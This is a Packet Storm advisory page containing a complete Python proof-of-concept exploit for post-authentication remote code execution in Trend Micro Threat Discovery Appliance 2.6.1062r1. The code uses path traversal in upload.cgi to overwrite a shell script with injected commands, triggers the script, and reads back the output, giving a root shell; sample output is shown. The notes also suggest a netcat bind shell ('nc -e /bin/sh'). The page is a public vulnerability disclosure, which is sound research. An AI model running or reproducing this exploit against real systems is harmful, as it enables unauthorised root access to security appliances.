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packetstormRoberto Suggi LiveraniPACKETSTORM:142215
HistoryApr 19, 2017 - 12:00 a.m.

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution

2017-04-1900:00:00
Roberto Suggi Liverani
packetstormsecurity.com
37

EPSS

0.002

Percentile

61.1%

`#!/usr/local/bin/python  
"""  
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 upload.cgi Remote Code Execution Vulnerability  
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/   
File: TDA_InstallationCD.2.6.1062r1.en_US.iso  
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9  
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1  
  
Summary:  
========  
  
There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.  
  
Notes:  
======  
  
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was   
take command, upload bd, exec, read, rinse, repeat.  
  
- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the   
log_query_system.cgi was unstable.  
  
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...  
  
Example:  
========  
  
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <pass>  
(+) eg: ./poc.py 172.16.175.123 admin123  
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123  
(+) logged in...  
(+) popping shell, type 'exit' to exit.  
$ id  
uid=0(root) gid=0(root)  
$ uname -a  
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown  
$ pwd  
/opt/TrendMicro/MinorityReport/www/cgi-bin  
$ exit  
"""  
  
import sys  
import re  
import requests  
  
requests.packages.urllib3.disable_warnings()  
  
if len(sys.argv) != 3:  
print "(+) usage: %s <target> <pass>" % sys.argv[0]  
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]  
sys.exit(-1)  
  
t = sys.argv[1]  
p = sys.argv[2]  
  
bu = "https://%s/" % t  
l_url = "%scgi-bin/logon.cgi" % bu  
u_url = "%scgi-bin/upload.cgi?dID=../../opt/TrendMicro/MinorityReport/www/cgi-bin/log_cache.sh" % bu  
e_url = "%scgi-bin/log_query_system.cgi" % bu  
r_url = "%snonprotect/si.txt" % bu  
  
s = requests.Session()  
  
# first we login...  
  
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)  
if "frame.cgi" in r.text:  
print "(+) logged in..."  
print "(+) popping shell, type 'exit' to exit."  
cmd = ''  
while (cmd.lower() != "exit"):  
cmd = raw_input("$ ")  
if cmd.lower() == "exit":  
continue  
  
# now we upload to crush the log_cache.sh script  
bd = "`%s>/opt/TrendMicro/MinorityReport/www/nonprotect/si.txt`" % cmd  
u = {  
'ajaxuploader_file': ('si', bd, 'text/plain'),   
}  
r = s.post(u_url, files=u, verify=False)  
  
# now we have to get the cmd executed...  
r = s.post(e_url, data={'act':'search','cache_id':''}, verify=False)  
  
# now we get the result  
r = s.get(r_url, verify=False)  
print r.text.rstrip()  
else:  
print "(-) login failed"  
sys.exit(-1)  
  
`

EPSS

0.002

Percentile

61.1%

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